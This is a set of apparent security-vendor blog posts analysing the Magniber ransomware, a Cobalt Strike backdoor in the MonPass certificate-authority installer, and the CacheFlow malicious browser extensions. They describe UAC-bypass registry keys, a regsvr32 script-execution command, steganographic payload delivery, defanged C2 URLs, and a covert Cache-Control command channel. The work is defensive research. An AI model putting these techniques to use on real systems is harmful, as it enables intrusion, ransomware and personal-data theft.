<code>0xFC</code>, effectively reducing the size of the keyspace from 25616 to 25016. Magniber then reads the input file by chunks of up to <code>0x100000</code> bytes, continuously encrypting each chunk in CBC mode and writing it back to the input file. Once the whole file is encrypted, Magniber also encrypts the AES key and IV using a public RSA key embedded in the sample and appends the result to the encrypted file. Finally, Magniber renames the file by appending a random-looking extension to its name.However, there is a bug in the encryption process that puts some encrypted files into a nonrecoverable state, where it is impossible to decrypt them, even for the attackers who possess the corresponding private RSA key. This bug affects all files with a size that is a multiple of <code>0x100000</code> (1 MiB). To understand this bug, let’s first investigate in more detail how individual files get encrypted. Magniber splits the input file into chunks and treats the last chunk differently. When the last chunk is encrypted, Magniber sets the <code>Final</code> parameter of <code>CryptEncrypt</code> to <code>TRUE</code>, so CryptoAPI can add padding and finalize the encryption. Only after the last chunk gets encrypted does Magniber append the RSA-encrypted AES key to the file.&nbsp;The bug lies in how Magniber determines that it is currently encrypting the last chunk: it treats only chunks of size less than <code>0x100000</code> as the last chunks. But this does not work for files the size of which is a multiple of <code>0x100000</code>, because even the last chunk of such files contains exactly <code>0x100000</code> bytes. When Magniber is encrypting such files, it never registers that it is encrypting the last chunk, which causes two problems. The first problem is that it never calls <code>CryptEncrypt</code> with <code>Final=TRUE</code>, so the encrypted files end up with invalid padding. The second, much bigger, problem is that Magniber also does not append the RSA-encrypted AES key, because the trigger for appending it is the encryption of the last chunk. This means that the AES key and IV used for the encryption of the file get lost and there is no way to decrypt the file without them.

Magniber drops its ransom note into every folder where it encrypted at least one file. An extra ransom note is also dropped into <code>%PUBLIC%</code> and opened up automatically in <code>notepad.exe</code> after encryption. The ransom note contains several URLs leading the victims to the payment page, which instructs them on how to pay the ransom in order to obtain the decryptor. These URLs are unique per victim, with the subdomain representing the victim identifier. Magniber also automatically opens up the payment page in the victim’s browser and while doing so, exfiltrates further information about the ransomware deployment through the URL, such as:<ul><li data-list-item-id="ea2206f9aa45002b812a786fb9c543e3c">The number of encrypted files</li><li data-list-item-id="e60b34dec7e8b1562221a7e14402654c5">The total size of all encrypted files</li><li data-list-item-id="e969fdce2f2ff38f24d99ef1ff4637671">The number of encrypted logical drives</li><li data-list-item-id="e7e1c3e97852185fe6298795f2afa32fa">The number of files encountered (encrypted or not)</li><li data-list-item-id="ee2e65fc8e24999b610b230761f593d39">The version of Windows</li><li data-list-item-id="edbaff66e85aecc13b0b7dec10f7b157d">The victim identifier</li><li data-list-item-id="ee9cb399194632bb446d27472855af3bc">The version of Magniber</li></ul>Finally, Magniber attempts to delete shadow copies using a UAC bypass. It writes a command to delete them to <code>HKCU\Software\Classes\mscfile\shell\open\command</code> and then executes <code>CompMgmtLauncher.exe</code> assuming that this will run the command with elevated privileges. But since this particular UAC bypass method was fixed in Windows 10, Magniber also contains another bypass method, which it uses exclusively on Windows 10 machines. This other method works similarly, writing the command to <code>HKCU\Software\Classes\ms-settings\shell\open\command</code>, creating a key named <code>DelegateExecute</code> there, and finally running <code>ComputerDefaults.exe</code>. Interestingly, the command used is <code>regsvr32.exe scrobj.dll /s /u /n /i:%PUBLIC%\readme.txt</code>. This is a technique often referred to as <code>Squiblydoo</code> and it is used to run a script dropped into <code>readme.txt</code>, which is shown below.

<h2>Conclusion</h2>In this blog post, we examined in detail the current state of the Magnitude exploit kit. We described how it exploits CVE-2021-26411 and CVE-2020-0986 to deploy ransomware to unfortunate victims who browse the Internet using vulnerable builds of Internet Explorer. We found Magnitude to be a mature exploit kit with a very robust infrastructure. It uses <a href="https://github.com/avast/ioc/blob/master/Magnitude/cncs.txt">thousands of fresh domains</a> each month and its infection chain is composed of seven stages (not even counting the multiple obfuscation layers). The infrastructure is also well protected, which makes it very challenging for malware analysts to track and research the exploit kit.We also dug deep into the Magniber ransomware. We found a bug that results in some files being encrypted in such a way that even the attackers can not possibly decrypt them. This underscores the unfortunate fact that paying the ransom is never a guarantee to get the ransomed files back. This is one of the reasons why we urge ransomware victims to try to avoid paying the ransom.&nbsp;Even though the attackers behind Magnitude appear to have a good grasp on exploit development, obfuscation, and protection of malicious infrastructure, they seem to have no idea what they are doing when it comes to generating random numbers for cryptographic purposes. This resulted in previous versions of Magniber using flawed PRNGs, which allowed malware researchers to develop decryptors that helped victims recover their ransomed files. However, Magniber was always quick to improve their PRNG, which unfortunately made the decryptors obsolete. The current version of Magniber is using a PRNG that seems to be just secure enough, which makes us believe that there will be no more decryptors in the future.<h3>Indicators of Compromise (IoC)</h3>The full list of IoCs is available at <a href="https://github.com/avast/ioc/tree/master/Magnitude">https://github.com/avast/ioc/tree/master/Magnitude</a>.<h6>Redirection page</h6>

<h6>Pointer scanner/loader 64-bit module</h6>

<h6>C&amp;Cs</h6><a href="https://github.com/avast/ioc/blob/master/Magnitude/cncs.txt">https://github.com/avast/ioc/blob/master/Magnitude/cncs.txt</a><h6>Decoy ad domains</h6><a href="https://github.com/avast/ioc/blob/master/Magnitude/decoys.txt">https://github.com/avast/ioc/blob/master/Magnitude/decoys.txt</a>

Technical Details of CVE-2021-26411 Exploitation

Magnitude Exploit Kit: Still Alive and Kicking

Threat Analysis Engineer at Gen

Threat research and malware analysis

IntroductionWe discovered an installer downloaded from the official website of <a href="http://monpass.mn/"><code>MonPass</code></a>, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. We immediately notified MonPass on 22 April 2021 of our findings and encouraged them to address their compromised server and notify those who downloaded the backdoored client.We have confirmed with MonPass that they have taken steps to address these issues and are now presenting our analysis.Our analysis beginning in April 2021 indicates that a public web server hosted by MonPass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. We also found that the MonPass client available for download from 8 February 2021 until 3 March 2021 was backdoored.&nbsp;This research provides analysis of relevant backdoored installers and other samples that we found occurring in the wild. Also during our investigation we observed relevant <a href="https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf">research from NTT Ltd</a> so some technical details or IoCs may overlap.All the samples are highly similar and share the same pdb path:<code>C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb</code> and the string: <code>Bidenhappyhappyhappy</code>.

Technical detailsThe malicious installer is an unsigned PE file. It starts by downloading the legitimate version of the installer from the MonPass official website. This legitimate version is dropped to the <code>C:\Users\Public\</code> folder and executed under a new process. This guarantees that the installer behaves as expected, meaning that a regular user is unlikely to notice anything suspicious.Additional similar installers were also found in the wild, with SHA256 hashes:&nbsp; <code>e2596f015378234d9308549f08bcdca8eadbf69e488355cddc9c2425f77b7535 </code>and&nbsp;<code>f21a9c69bfca6f0633ba1e669e5cf86bd8fc55b2529cd9</code>

The attackers decided to use steganography to transfer shellcode to their victims. On execution, the malware downloads a bitmap image file from http://download.google-images[.]ml:8880/download/37.bmp as shown in <code>figure 2</code>.&nbsp;The download is performed slightly unusually in two HTTP requests. The first request uses the HEAD method to retrieve the Content-Length, followed by a second GET request to actually download the image. After the picture is downloaded, the malware extracts the encrypted payload as follows. The hidden data is expected to be up to 0x76C bytes. Starting with the 3rd byte in image data it copies each 4th byte. The resulting data represents an ASCII string of hexadecimal characters which is later decoded into their respective binary values. These bytes are then XOR decrypted using the hardcoded key <code>miat_mg</code>, resulting in a Cobalt-Strike beacon.We have seen multiple versions of this backdoored installer, each with slightly modified decryptors.&nbsp;In version (<code>f21a9c69bfca6f0633ba1e669e5cf86bd8fc55b2529cd9b064ff9e2e129525e8</code>) the XOR decryption was stripped. In the version (<code>e2596f015378234d9308549f08bcdca8eadbf69e488355cddc9c2425f77b7535</code>) basic anti-analysis tricks were stripped. In Figure 3, you can see different time stamps and the same rich headers.

In the backdoored installer we also observed some basic anti-analysis techniques used in an attempt to avoid detection. In particular, we observed checks for the number of processors using the <code>GetSystemInfo</code> function, the amount of physical memory using the <code>GlobalMemoryStatusEx</code> function and the disk capacity using the <code>IOCTL_DISK_GET_DRIVE_GEOMETRY</code> IOCTL call. If any of the obtained values are suspiciously low, the malware terminates immediately.

One of the samples (<code>9834945A07CF20A0BE1D70A8F7C2AA8A90E625FA86E744E539B5FE3676EF14A9</code>) used a different known technique to execute shellcode. First it is decoded from a list of UUIDs with <code>UuidFromStringA </code>API, then it is executed using <code>EnumSystemLanguageGroupsA</code>.

After we found a backdoored installer in one of our customers,&nbsp; we commenced hunting for additional samples in VT and in our user-base, to determine if there were more backdoored installers observed in the wild. In VT we found some interesting hits:

We analyzed the sample and found out that the sample was very similar to infected installers found in our customers. The sample contained anti-analysis techniques using the same XOR decryption and also contained similar C2 server addresses (<code>hxxp://download.google-images.ml:8880/download/x37.bmp</code>) as observed in previous backdoored installers. The sample also contained references to the link (<code>hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0.oss-cn-hongkong.aliyuncs[.]com/Silverlight_ins.exe</code>) and the file path <code>C:\users\public\Silverlight_ins.exe</code>; however these did not appear to be in use. The sample name is also unusual –&nbsp; <code>Browser_plugin (8).exe</code> – we speculate that this may be a test sample uploaded by the actor.&nbsp;In VT we saw another hash (<code>4a43fa8a3305c2a17f6a383fb68f02515f589ba112c6e95f570ce421cc690910</code>) again with the name <code>Browser_plugin.exe</code>. According to VT this sample has been downloaded from <code>hxxps://jquery-code.ml/Download/Browser_Plugin.exe</code>. It was downloading a PDF from <code>hxxp://37.61.205.212:8880/dow/Aili.pdf</code> PDF file <code>Aili.pdf.</code>

Afterwards it has the similar functionalities as previously mentioned samples from VT. That means it was downloading and decrypting Cobalt strike beacon from <code>hxxp://micsoftin.us:2086/dow/83.bmp</code>In our database we again found the similar sample but with the name <code>Browser_plugin (1).exe</code>. This sample was downloaded from <code>hxxp://37.61.205.212:8880/download/Browers_plugin.exe</code>, we saw it on Feb 4, 2021. It doesn’t install any legitimate software, it just shows a MessageBox. It contains C&amp;C address (<code>hxxp://download.google-images.ml:8880/downloa/37.bmp</code>), (Note: there is a typo in the directory name: downloa).&nbsp;<h2>Compromised Web server content</h2>On the breached web server, where you were able to download backdoored installer we found two executables <code>DNS.exe</code> (<code>456b69628caa3edf828f4ba987223812cbe5bbf91e6bbf167e21bef25de7c9d2</code>) and again <code>Browser_plugin.exe</code> (<code>5cebdb91c7fc3abac1248deea6ed6b87fde621d0d407923de7e1365ce13d6dbe</code>).&nbsp;<h3>DNS.exe</h3>It downloads from (<code>hxxp://download.google-images.ml:8880/download/DNSs.bat</code>) C&amp;C server bat file, that is saved in <code>C:\users\public\DNS.bat</code>. It contains this script:

In the second part of the instance, it contains the similar functionality and the same address of C&amp;C server as the backdoored installer that we mentioned earlier.&nbsp;<h3>Browser_plugin.exe</h3>(<code>5cebdb91c7fc3abac1248deea6ed6b87fde621d0d407923de7e1365ce13d6dbe</code>)This sample is very similar to this one (<code>4a43fa8a3305c2a17f6a383fb68f02515f589ba112c6e95f570ce421cc690910</code>) with the same address of C&amp;C server, but it doesn’t download any additional document.&nbsp;<h3>C&amp;C server analysis</h3>We checked the malicious web server <code>hxxps://jquery-code.ml</code>, from where (<code>4A43FA8A3305C2A17F6A383FB68F02515F589BA112C6E95F570CE421CC690910</code>) <code>Browser_plugin.exe</code> has been downloading. The malicious web server looks identical to the legitimate one <code>https://code.jquery.com/</code> the difference is the certificate. The legitimate server <code>https://code.jquery.com</code> is signed by Sectigo Limited while the malicious server is signed by Cloudflare, Inc.

ConclusionThis blog post outlines our findings regarding the MonPass client backdoored with Cobalt Strike.&nbsp;In our research we found additional variants on VirusTotal in addition to those we found on the compromised MonPass web server.&nbsp;In our analysis of the compromised client and variants, we’ve shown that the malware was using steganography to decrypt Cobalt Strike beacon.&nbsp;At this time, we’re not able to make attribution of these attacks with an appropriate level of confidence. However it’s clear that the attackers clearly intended to spread malware to users in Mongolia by compromising a trustworthy source, which in this case is a CA in Mongolia.Most importantly, anyone that has downloaded the MonPass client <code>between 8 February 2021 until 3 March 2021</code> should take steps to look for and remove the client and the backdoor it installed.&nbsp;I would like to thank <a href="https://decoded.avast.io/author/janrubin/">Jan Rubín</a> for helping me with this research.Timeline of communication:<ul><li data-list-item-id="e7eabad4d21f85ba9a9ed419a20998d37">March 24. 2021 – Discovered backdoored installer</li><li data-list-item-id="e8d7de5073698575bdd8d9566bf007ec6">April 8. 2021 – Initial contact with Monpass through <a href="https://mncert.org/#/en/">MN CERT/CC</a> providing findings.</li><li data-list-item-id="effb9ec355fe1fefa5623ca1fe24176f2">April 20. 2021 – MonPass shared a forensic image of an infected web server with Avast Threat Labs.</li><li data-list-item-id="eb15fae9d2778c710db010b00586f4519">April 22. 2021 – Avast provided information about the incident and findings from the forensics image in a call with MonPass and MN CERT/CC.</li><li data-list-item-id="e8105dcb7e169360a631c48acaf980c1a">May 3. 2021 – Avast followed up with MonPass in email. No response.</li><li data-list-item-id="e2db9146a0bdd66b9cf42026365680bc8">May 10. 2021 – Avast sent additional follow up email.</li><li data-list-item-id="e5d2e225d922c6c3ca99e586af1ee9597">June 4, 2021 – MonPass replied asking for information already provided on April 22, 2021.</li><li data-list-item-id="ec890ed4b283f34667a2386d1b5c798bd">June 14. 2021 – Follow up from Avast to MonPass, no response</li><li data-list-item-id="e487df344ecb24a55d12c053d6b59333d">June 29, 2021 – Final email to MonPass indicating our plans to publish with a draft of the blog for feedback.</li><li data-list-item-id="ea8e219e1a79c440f3b0f7b29d2475300">June 29, 2021 – Information from MonPass indicating they’ve resolved the issues and notified affected customers.</li><li data-list-item-id="e905ee901600e8a3bf0c0de076ba8b3bd">July 1, 2021 – Blog published.</li></ul>Indicators of Compromise (IoC)<ul><li data-list-item-id="eb563622ec5b86d786f0f5717c3b6e76a">&nbsp;Repository:&nbsp;<a href="https://github.com/avast/ioc/tree/master/MpIncident">https://github.com/avast/ioc/tree/master/MpIncident</a></li><li data-list-item-id="e9df84a7bde5531ce2aa4eb546809a2ff">List of SHA-256:&nbsp;<a href="https://github.com/avast/ioc/blob/master/MpIncident/samples.sha256">https://github.com/avast/ioc/blob/master/MpIncident/samples.sha256</a></li></ul>Timeline of compilation timestamps:

Discovery of Backdoored Installer

Backdoored client from Mongolian CA MonPass

Chances are you are reading this blog post using your web browser. Chances also are your web browser has various extensions that provide additional functionality. We usually trust that the extensions installed from official browser stores are safe. But that is not always the case as we recently found.This blog post brings more technical details on CacheFlow: a threat that we first <a href="https://blog.avast.com/malicious-browser-extensions-avast">reported</a> about in December 2020. We described a huge campaign composed of dozens of malicious Chrome and Edge browser extensions with more than three million installations in total. We alerted both Google and Microsoft about the presence of these malicious extensions on their respective extension stores and are happy to announce that both companies have since taken all of them down as of December 18, 2020.CacheFlow was notable in particular for the way that the malicious extensions would try to hide their command and control traffic in a covert channel using the <code>Cache-Control</code> HTTP header of their analytics requests. We believe this is a new technique. In addition, it appears to us that the Google Analytics-style traffic was added not just to hide the malicious commands, but that the extension authors were also interested in the analytics requests themselves. We believe they tried to solve two problems, command and control and getting analytics information, with one solution.We found that CacheFlow would carry out its attack in the following sequence:

Based on our telemetry, the top three countries where Avast users downloaded and installed the CacheFlow extensions were Brazil, Ukraine, and France.

We initially learned about this campaign by reading a <a href="https://blog.nic.cz/2020/11/19/hledani-skodliveho-kodu-mezi-doplnky/">Czech blog post by Edvard Rejthar from CZ.NIC</a>. He discovered that the Chrome extension “Video Downloader for FaceBook™” (ID <code>pfnmibjifkhhblmdmaocfohebdpfppkf</code>) was stealthily loading an obfuscated piece of JavaScript that had nothing to do with the extension’s advertised functionality. Continuing from his findings, we managed to find many other extensions that were doing the same thing. These other extensions offered various legitimate functionality, with many of them being video downloaders for popular social media platforms. After reverse engineering the obfuscated JavaScript, we found that the main malicious payload delivered by these extensions was responsible for malicious browser redirects. Not only that, but the cybercriminals were also collecting quite a lot of data about the users of the malicious extensions, such as all of their search engine queries or information about everything they clicked on.The extensions exhibited quite a high level of sneakiness by employing many tricks to lower the chances of detection. First of all, they avoided infecting users who were likely to be web developers. They determined this either through the extensions the user had installed or by checking if the user accessed locally-hosted websites. Furthermore, the extensions delayed their malicious activity for at least three days after installation to avoid raising red flags early on. When the malware detected that the browser developer tools were opened, it would immediately deactivate its malicious functionality. CacheFlow also checked every Google search query and if the user was googling for one of the malware’s command and control (C&amp;C) domains, it reported this to its C&amp;C server and could deactivate itself as well.According to user reviews on the Chrome Web Store, it seems that CacheFlow was active since at least October 2017. All of the stealthiness described above could explain why it stayed undetected for so long.

<h2>The covert channel</h2>First, we’ll show the hidden backdoor that the extensions used to download and execute arbitrary JavaScript. Specifically, we’ll describe the backdoor from the Chrome extension “Downloader for Instagram” v5.7.3 (ID <code>olkpikmlhoaojbbmmpejnimiglejmboe</code>), but this analysis applies to the other extensions as well, since the malicious code hidden in them is very similar in functionality.

It is generally a good idea to start the analysis of unknown Chrome extensions from the <code>manifest.json</code> file. The manifest of “Downloader for Instagram” gives us some interesting pieces of information.First of all, the <code>content_security_policy</code> is defined in such a way that it is possible to use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!">infamous</a> <code>eval</code> function to load additional JavaScript. However, looking for the string <code>eval</code> in the extension’s source code did not yield any interesting results. As we’ll show later, the extension does use the <code>eval</code> function quite a lot, but it hides its usage, so it is not immediately apparent.&nbsp;

Secondly, the extension asks for quite a lot of permissions and it is not immediately clear why these permissions would be needed to download videos from Instagram. Especially interesting is the <code>management</code> permission, which allows the extension to control other extensions. The combination of the <code>webRequest</code> and the <code>&lt;all_urls&gt;</code> permissions is also interesting. Together, these two permissions make it possible for the extension to intercept pretty much any web request coming from the browser.

Finally, the manifest defines two background scripts: <code>js/jquery.js</code> and <code>js/background.js</code>. These scripts are persistent, which means that they will keep running unless the extension gets disabled.

One of these background scripts, <code>background.js</code>, is where the suspicious <code>webRequest</code> API is used. This script accesses the HTTP response headers of all intercepted web requests and stores their values in localStorage.

The content of localStorage is then read by the other persistent malicious background script: <code>jquery.js</code>. While this script appears at first glance to be the legitimate <a href="https://jquery.com/">jQuery</a> library, some additional functions were inserted into it. One of those additional functions is misleadingly named <code>parseRelative</code>, while all it does is return the <code>window.localStorage</code> object.&nbsp;

Another inserted and misleadingly named function is <code>initAjax</code>.

This function is particularly interested in the content of <code>localStorage['cache-control']</code>, which should at this point be set to the value of the last received <code>Cache-Control</code> HTTP response header. The function splits the content of this header with a comma and attempts to decrypt each part using a custom function named <code>strrevsstr</code>, before finally parsing it out as a JSON string.

The obvious question now is why would the extension expect to intercept requests that contain an encrypted JSON string in the <code>Cache-Control</code> response header?&nbsp;The answer is that the threat actors are using the content of the <code>Cache-Control</code> header as a covert channel to send hidden commands to the malicious extension.&nbsp;As a part of the malicious extension’s regular functionality, analytics requests about some events are sent to <code>https://stats.script-protection[.]com/__utm.gif</code>. These are standard analytics requests that bear resemblance to Google Analytics. The catch is, that the server used by this extension might respond to the analytics requests with a specially formed <code>Cache-Control</code> header, which the client will decrypt, parse out and execute.

To see what the commands could look like, we simulated the extension and sent a fake analytics HTTP request to <code>https://stats.script-protection[.]com/__utm.gif</code>. After a couple of attempts, we received a specially crafted <code>Cache-Control</code> header.

Note that the response will contain the encoded command only when some conditions are met. First of all, the GET parameter <code>it</code> has to be set at least three days into the past. Since this parameter contains the time when the extension was installed, this effectively ensures that the extension will not exhibit any malicious behavior during the first three days. There is also a check based on the IP address, since we repeatedly did not receive any commands from one source IP address, even though we did receive a command for the same GET request from another IP address. As the logic behind these checks is safely hidden on the C&amp;C server, there might be additional checks that we are not aware of.When the content of the received <code>Cache-Control</code> header is <a href="https://github.com/avast/ioc/blob/master/CacheFlow/extras/decryptor_strrevsstr.py">decoded</a> using the custom <code>strrevsstr</code> function as outlined above, we get the command in the following JSON. As was seen in the <code>initAjax</code> function, all of the attributes from this JSON get stored in the global <code>window</code> object.

Upon receiving such a command, the extension downloads the second stage from <code>command['uu']</code> in a function named <code>siblingAfter</code>, which is also hidden inside <code>jquery.js</code>. The dollar sign from <code>command['jj']</code> here represents the <code>jQuery</code> object, so the function uses the <code>jQuery.get</code> function to download the next stage from <code>command['uu']</code> and to store it in <code>localStorage.dataDefault</code>.

Finally, there is yet another function hidden in <code>jquery.js</code>, which executes the downloaded JavaScript using the <code>eval</code> function from <code>command['ee']</code>.

The downloaded JavaScript is an obfuscated intermediary downloader. Its purpose is to download the third-stage payload from <code>ulkon.johnoil[.]com</code> using an XHR request. Unfortunately, because the server will only send the next stage under certain conditions, getting a response containing the third stage can be quite tricky. If it gets successfully downloaded, it is encrypted and stored persistently in localStorage. It then gets executed whenever a tab is updated using the <code>chrome.tabs.onUpdated</code> listener.

<h2>The payload</h2>The payload starts out by testing if it can make use of <code>eval</code> and <code>localStorage</code>. If either of those two is not working properly, CacheFlow would not be able to perform most of its malicious functionality.&nbsp;

Additionally, the payload periodically checks if developer tools are opened. If they are, it deactivates itself in an attempt to avoid detection. The check for developer tools is also performed whenever the current window gets resized, which might be because the user just opened developer tools.

As was already mentioned, the malware authors have gone to extreme lengths to make sure that the hidden malicious payloads do not get discovered. We believe they were not satisfied with the previous check and decided to further profile the victim in order to avoid infecting users who seemed more tech-savvy. One of the ways they did this was by enumerating the other extensions installed by the victim and checking them against a <a href="https://github.com/avast/ioc/blob/master/CacheFlow/extras/developer_extensions.txt">hardcoded list of extension IDs</a>. Each extension on the list was assigned a score and if the sum of scores of installed extensions exceeded a certain threshold, the list of extensions would be sent to the C&amp;C server, which could then command the malicious payload to deactivate. Examples of the extensions on the list were “<a href="https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin">Chrome extension source viewer</a>”, “<a href="https://chrome.google.com/webstore/detail/link-redirect-trace/nnpljppamoaalgkieeciijbcccohlpoh">Link Redirect Trace</a>”, or “<a href="https://chrome.google.com/webstore/detail/jwt-debugger/ppmmlchacdbknfphdeafcbmklcghghmd">JWT Debugger</a>”. We believe this “weighting” system helped to better differentiate actual developer systems which would have several of these extensions and a higher score from casual users who would have fewer extensions and thus a lower score.&nbsp;

Another way to profile the potential victim was to check the URLs they were browsing. Whenever the victim navigated to a URL identified by an IP address from one of the private IPv4 ranges or to a URL with a TLD <code>.dev</code>, <code>.local</code>, or <code>.localhost</code>, the malware would send the visited URL to its C&amp;C server. The malware also checked all Google (and only Google) queries against a regular expression that matched its C&amp;C domains and internal identifiers. This way, it would know that somebody was taking a deeper look into the extension and could take actions to hide itself. Interestingly, the domains were not fully specified in the regular expressions, with some characters being represented as the dot special character. We assume that this was an attempt to make it harder to create a domain blocklist based on the regular expression.

At this point, the malware also attempted to gather information about the victim. This information included birth dates, email addresses, geolocation, and device activity. For instance, the birth dates were retrieved from the personal information entered into the victim’s Google account. Once again, the attackers focused only on Google: we did not see any similar attempts to get Microsoft account information. To retrieve the birthday, CacheFlow made an XHR request to <a href="https://myaccount.google.com/birthday">https://myaccount.google.com/birthday</a> and parsed out the birth date from the response.

Note that while it may seem that making such a cross-origin request would not be allowed by the browser, this is all perfectly possible under the extension security model since the extension has the <code>&lt;all_urls&gt;</code> permission. This permission gives the extension access to all hosts, so it can make arbitrary cross-site requests.&nbsp;In order to make it harder for Google to realize that CacheFlow was abusing its services to gather personal information, it also registered a special <code>chrome.webRequest.onBeforeSendHeaders</code> listener. This listener removes the <code>referer</code> request header from all the relevant XHR requests, so Google would not easily know who is actually making the request.

Finally, to perform its main malicious functionality, the payload injects another piece of JavaScript into each tab using the <code>chrome.tabs.executeScript</code> function.<h2>The injected script</h2>The injected script implements two pieces of functionality. The first one is about hijacking clicks. When the victim clicks on a link, the extension sends information about the click to <code>orgun.johnoil[.]com</code> and might receive back a command to redirect the victim to a different URL. The second functionality concerns search engine results. When the victim is on a search engine page, the extension gathers the search query and results. This information is then sent to the C&amp;C server, which might respond with a command to redirect some of the search results.<h3>Link hijacking</h3>The link hijacking is implemented by registering an <code>onclick</code> listener over the whole <code>document</code>.

The listener is then only interested in main button presses (usually “left clicks”) and clicks on elements with the tag name <code>a</code> or <code>area</code>. If the click meets all the criteria, an XHR request to <code>https://orgun.johnoil[.]com/link/</code> is sent. This request contains one GET parameter, <code>a</code>, which holds concatenated information about the click and is encrypted using the custom <code>strsstr</code> function. This information includes the current location, the target URL, various identifiers, and more.&nbsp;We simulated a fake request about a click to a link leading to <code>https://facebook[.]com</code> and received the following response:<code>ayiudvh3jk6lNjkzMTQ0eAgYGAQRFhNYTVxbE04IBlFDFgEEHBtYQV0HThdXEwJRBANSUVBEDghQCgNOWUMXAhskaiohB3Z4YQlvSU8oaygLZkhBYCJlAW9Rf18Ecyg1TmZdFEQZABACXHxaInY0MklVQlUeTAozcyUSOwABdW9oAXUXGjswNQpgTkkzZSZFMxMJanwqQj1NDixsflIuWAl6kj3hvduiya</code>Upon receiving such a response, the malware first makes sure that it starts with a certain randomly generated string and ends with the same string, but in reverse. This string (<code>ayiudvh3jk6l</code> highlighted in the example above) was generated by the extension and was also included in the <code>a</code> parameter that was sent in the XHR request. The extension then takes the middle portion of the response and decrypts it using the <code>strrevsstr</code> function (which is the inversion of <code>strsstr</code>). This yields the following string:<code>ayiudvh3jk6lhttps://go.lnkam[.]com/link/r?u=https%3A%2F%2Fwww.facebook[.]com%2F&amp;campaign_id=b7YMMAqMdAL7wyzNe5m3wz&amp;source=uvm3rdsqc9zo69l6kj3hvduiya</code>Once again, the malware checks the beginning and the end of the decrypted string for the same randomly generated string as used before and extracts the middle portion of it. If it begins with the substring <code>http</code>, the malware proceeds to perform the link hijack. It does this by temporarily changing the <code>href</code> attribute of the element that the user clicked on and executing the <code>click</code> method on it to simulate a mouse click. As a fallback mechanism, the malware just simply sets <code>window.location['href']</code> to the link hijack URL.

Jan Vojtěšek

Posts by Jan Vojtěšek